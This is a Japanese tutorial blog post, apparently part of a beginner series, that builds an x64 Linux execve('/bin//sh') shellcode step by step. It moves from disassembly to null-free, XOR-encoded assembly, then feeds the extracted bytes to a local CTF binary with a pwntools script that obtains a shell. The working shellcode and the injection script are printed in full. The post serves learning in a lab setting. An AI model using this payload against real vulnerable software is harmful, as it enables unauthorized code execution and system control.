バイナリアン入門 第三回(x64, Linux)

はじめに

基礎の基礎の部分は第一回第二回で簡単にふれたので、今回はCTFで苦戦したシェルコードにふれてみる。作成したシェルコードは、脆弱性のある実行ファイルに喰わせて動作を確認する。

シェルコードとは

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89

ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

解析用コードの作成

いきなりシェルコードを書くのは無理なので、シェルコードの元となる/bin/shを起動するコードをC言語で書いて、吐き出したバイナリコードを解析しながら作成してみる。

execveについては、マニュアルに詳しく書いてあるのでそれに従う。後々シェルコードを作成する時に意識しといた方が良い部分としては、マニュアル内の以下の引用の部分かな。

argv と envp はいずれものヌルポインターで終わっている必要がある

実際に作成したコードはこれ(この場合はvoid mainのが綺麗適切かも)

#include<unistd.h>
int main()
{
   // ヌルコードが入らないよう8バイトで合わせている。詳細は後述。
   char filename[] = "/bin//sh";
   char *argv[] = {"/bin//sh", NULL};

   execve(filename, argv, NULL);
}

実行ファイル作成

ダイナミックリンクだと解析する際にexecveの内部処理がどのようになっているのかが見られないため、スタティックリンクで実行ファイルを作成する。

gcc -static -g shell.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。

r2 -d a.out
[0x00001050]> aaa
[Cannot analyze at 0x00001040g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00001040ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x00001050]> afl
0x00001050    1 42           entry0
0x00001080    4 41   -> 34   sym.deregister_tm_clones
0x000010b0    4 57   -> 51   sym.register_tm_clones
0x000010f0    5 57   -> 50   entry.fini0
0x00001130    1 5            entry.init0
0x00001000    3 23           sym._init
0x000011f0    1 1            sym.__libc_csu_fini
0x000011f4    1 9            sym._fini
0x00001190    4 93           sym.__libc_csu_init
0x00001135    1 76           main
0x00001030    1 6            sym.imp.execve

[0x00001050]> s main

[0x00001135]> pdf
/ (fcn) main 76
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_9h @ rbp-0x9
|           ; var int32_t var_1h @ rbp-0x1
|           ; DATA XREF from entry0 @ 0x106d
|           0x00001135      55             push rbp                    ; shell.c:3 {
|           0x00001136      4889e5         mov rbp, rsp
|           0x00001139      4883ec20       sub rsp, 0x20
|           0x0000113d      48b82f62696e.  movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
|           0x00001147      488945f7       mov qword [var_9h], rax
|           0x0000114b      c645ff00       mov byte [var_1h], 0
|           0x0000114f      488d05ae0e00.  lea rax, qword str.bin__sh  ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
|           0x00001156      488945e0       mov qword [var_20h], rax
|           0x0000115a      48c745e80000.  mov qword [var_18h], 0
|           0x00001162      488d4de0       lea rcx, qword [var_20h]    ; shell.c:7    execve(filename, argv, NULL);
|           0x00001166      488d45f7       lea rax, qword [var_9h]
|           0x0000116a      ba00000000     mov edx, 0
|           0x0000116f      4889ce         mov rsi, rcx
|           0x00001172      4889c7         mov rdi, rax
|           0x00001175      e8b6feffff     call sym.imp.execve
|           0x0000117a      b800000000     mov eax, 0
|           0x0000117f      c9             leave                       ; shell.c:8 }
\           0x00001180      c3             ret

[0x00401b5d]> s sym.execve
[0x0043c6e0]> pdf
            ;-- __execve:
/ (fcn) sym.execve 33
|   sym.execve ();
|           ; CALL XREF from main @ 0x401b9d
|           0x0043c6e0      b83b000000     mov eax, 0x3b               ; ';' ; 59
|           0x0043c6e5      0f05           syscall
|           0x0043c6e7      483d01f0ffff   cmp rax, -0xfff
|       ,=< 0x0043c6ed      7301           jae 0x43c6f0
|       |   0x0043c6ef      c3             ret
|       |   ; CODE XREF from sym.execve @ 0x43c6ed
|       `-> 0x0043c6f0      48c7c1c0ffff.  mov rcx, -0x40
|           0x0043c6f7      f7d8           neg eax
|           0x0043c6f9      648901         mov dword fs:[rcx], eax
|           0x0043c6fc      4883c8ff       or rax, 0xffffffffffffffff
\           0x0043c700      c3             ret

main()

メイン関数(0x00001135から0x00001180)を読んでいく。
関数呼び出しをする際のお決まり(Function prologue)とコールスタックの確保に関しては割愛。

push rbp                       ; shell.c:3 {
mov rbp, rsp
sub rsp, 0x20
movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
mov qword [var_9h], rax
mov byte [var_1h], 0
lea rax, qword str.bin__sh     ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
mov qword [var_20h], rax
mov qword [var_18h], 0
lea rcx, qword [var_20h]       ; shell.c:7    execve(filename, argv, NULL);
lea rax, qword [var_9h]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call sym.imp.execve
mov eax, 0
leave                          ; shell.c:8 }
ret

第1引数の値準備

文字列0x68732f2f6e69622f(/bin//sh)raxに格納してvar_9h(rbp-0x9)のアドレスに配置。
そのすぐ後ろの連続したアドレスvar_1h(rbp-0x1)にヌルポインタ(0)を配置している。

movabs rax, 0x68732f2f6e69622f
mov qword [var_9h], rax
mov byte [var_1h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508d7から0x7ffde0f508dfまでのところに2f 6269 6e2f 2f73 6800が設定されているのが確認できる。
マニュアルでargvはヌルポインタで終わっている必要があるという意味はこの00の部分になる。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  9001 9700 f155 0000 5000 9700 f155 0000  .....U..P....U..
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x68732f2f6e69622f
rbp 0x7ffde0f508e0

第2引数の値準備

次に、/bin//shの文字列が配置されているアドレスをraxに一度格納しvar_20h(rbp-0x20)に配置する。
そのすぐ後ろの連続したアドレスvar_18h(rbp-0x18) には先程と同様にヌルポインタ(0)を配置している。

lea rax, qword str.bin__sh
mov qword [var_20h], rax
mov qword [var_18h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508c0から0x7ffde0f508cfまでのところに/bin//shを指すアドレスとヌルポインタ(0410 9700 f155 0000 0000 0000 0000 0000)が配置されている。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  0410 9700 f155 0000 0000 0000 0000 0000  .....U..........
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x55f100971004
rbp 0x7ffde0f508e0

引数設定

最後に、スタック領域に積んでいる値を適切な引数に設定する。
引数とレジスタの対応についてはSystem V ABIを参照すればいいけど、このサイトでわかりやすくまとまっているため引用させて頂く。

x64のSystem V ABI(Unix系OSの関数呼び出し規約)では第1~6引数まではレジスタを使用し、第7引数以降はスタックを使うようにするようだ。 具体的に以下の順番で引数をレジスタに入れる。
引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9

execve(filename, argv, NULL);の引数設定をアセンブラコードで表現すると、以下のようになる。

第3引数のedxには ヌルポインタを設定。
第2引数のrsiには/bin//shのアドレスを指すアドレスを設定(C言語のポインタのポインタ)
第1引数のrdiには/bin//shのアドレスを設定。
そして、最後にsym.imp.execveをコールする。

lea rcx, qword [var_20h]
lea rax, qword [var_9h]

mov edx, 0
mov rsi, rcx
mov rdi, rax

call sym.imp.execve

sym.imp.execve()

sym.imp.execveの処理も見てみる。
execveを使うためには、eaxシステムコール番号59を設定してsyscall命令を使用するといいようだ。

mov eax, 0x3b
syscall

シェルコード作成

上の解析結果から、execveを使用してシェルを実行する時のアセンブラコードが理解できたので、execveの実行に必要なアセンブラコードだけを抜き出してみる。

文字列変換処理

の前に、今回使用する脆弱性のあるバイナリは、CTFで使っていたモノを流用しているため、b,i,n,s,hの文字が存在すると処理が終了するようになっている。なのでxorで文字列を反転させている。

filename = 0x68732f2f6e69622f # /bin//sh
xor = (filename ^ 0xffffffffffffffff)
print format(xor, 'x') #978cd0d091969dd0

シェルコード作成

第1引数に値を設定するために、第1引数用のレジスタrdiと一時変数として利用するレジスタraxを初期化する。

global _start
_start:
xor rdi,rdi
xor rax,rax

解析結果で見たように、execveの第1引数には実行するファイル名/bin//sh + ヌルポインタ(0)が配置されているアドレスを格納する必要があるので、必要な値をスタックに積んで、rspのアドレスをrdiに格納する。

が、シェルコードを作成する時の注意事項として、ヌル文字は含めちゃだめと言う決まりがある。

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89#%E3%83%8C%E3%83%AB%E6%96%87%E5%AD%97%E6%8E%92%E9%99%A4

一般にシェルコードはヌル文字を終端とする文字列として対象プロセスに注入されるため、ヌル文字(一般に0x00)をその途中で使うことはできない。途中にヌル文字があると、そこまでしか文字列としてコピーされない。従ってヌル文字に相当するコードがシェルコードの途中にある場合、シェルコードは最後まで実行されない。

なので、ヌルポインタの設定で愚直にmov rax, 0みたいな命令を書くと、ヌル文字が入ってしまうのでシェルコードが最後まで実行されず、何回やっても成功しない。そのため回避策として初期化したrax(値は0x00)をスタックに積むようにしている。

/bin//shでスラッシュを連続させているのも、スラッシュ一つで文字数が7文字にしていると、8文字に相当する部分に0x00のヌル文字が混入してしまうため、スラッシュを連続することでヌル文字の混入を防いでいる。

push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp

execveの第2引数argvにはポインタのポインタを設定する必要があるため、/bin//shのアドレスが格納されているrdiをスタックにプッシュし、rspのアドレスをrsiに設定するようにしている。

push rax
push rdi
xor rsi,rsi
mov rsi, rsp

execveの第3引数にはヌルポインタを設定する必要があるので、ヌル文字が混入しないようにxor0にする。

xor rdx,rdx

syscall命令を使用する。

mov al,0x3b
syscall

最終的なアセンブラコードはこのようになる。

global _start
_start:
xor rdi,rdi
xor rax,rax
push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp
push rax
push rdi
xor rsi,rsi
mov rsi, rsp
xor rdx,rdx
mov al,0x3b
syscall

バイナリ作成

コンパイル、リンクして実行ファイルを生成。

nasm -f elf64 shell.asm 
ld -o shellcode.out shell.o

シェルコード抽出

最後に、作成した実行ファイルから機械語を抽出する。
※ ヌルコード(0x00)が入っていないことを確認する

(objdump -M intel -d shellcode.out | grep ' ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g')

#\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

シェルコード実行

脆弱性のある実行ファイルにシェルコードを送り込むにあたり、pwntoolsというライブラリが大変便利なため今回はこれを使う。 詳細は使い方は以下のサイトが大変わかりやすくまとまっているため参照する。

https://qiita.com/8ayac/items/12a3523394080e56ad5a

from pwn import *

context(os="linux", arch="amd64")

def main():
    shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

    conn = process("./shellcoder")
    conn.recvuntil("Are you shellcoder?")
    conn.send(shellcode)
    conn.interactive()

if __name__ == "__main__":
    main()

脆弱性のある実行ファイルに、作成したシェルコードをぶん投げる。

root@kali-linux:~/sandbox/pwn/0_shellcoder/lab# python attack.py 
[+] Starting local process './shellcoder': pid 10639
[*] Switching to interactive mode

$ ls
a.out    buf        core   shell.asm  shell.c_bk  shellcoder
ans.py    compile.sh  shell  shell.c    shell.o      xor.py
$ pwd
/root/sandbox/pwn/0_shellcoder/lab
$ quit
[*] Process './shellcoder' stopped with exit code 0 (pid 10639)
[*] Got EOF while sending in interactive

まとめ

自分でシェルコードを作成してみるまでは、\x48\x31\xffみたいな16進数の値をみるとなんでもASCII文字に変換しようとしてみたり、これをどうみたらアセンブラコードになるんだろう?みたいな愚行を色々と重ねた時期もあったが、理解が深まった今となっては懐かしい思い出。

前よりも、バイナリコードとの距離が近づいた気がする。

その他

今回は学習の一環でシェルコードを自力作成したが、EXPLOIT-DATABASEなどにもx64のシェルコードはあるので、検証等で利用する場合はこういうのを使った方が断然スマート。
www.exploit-db.com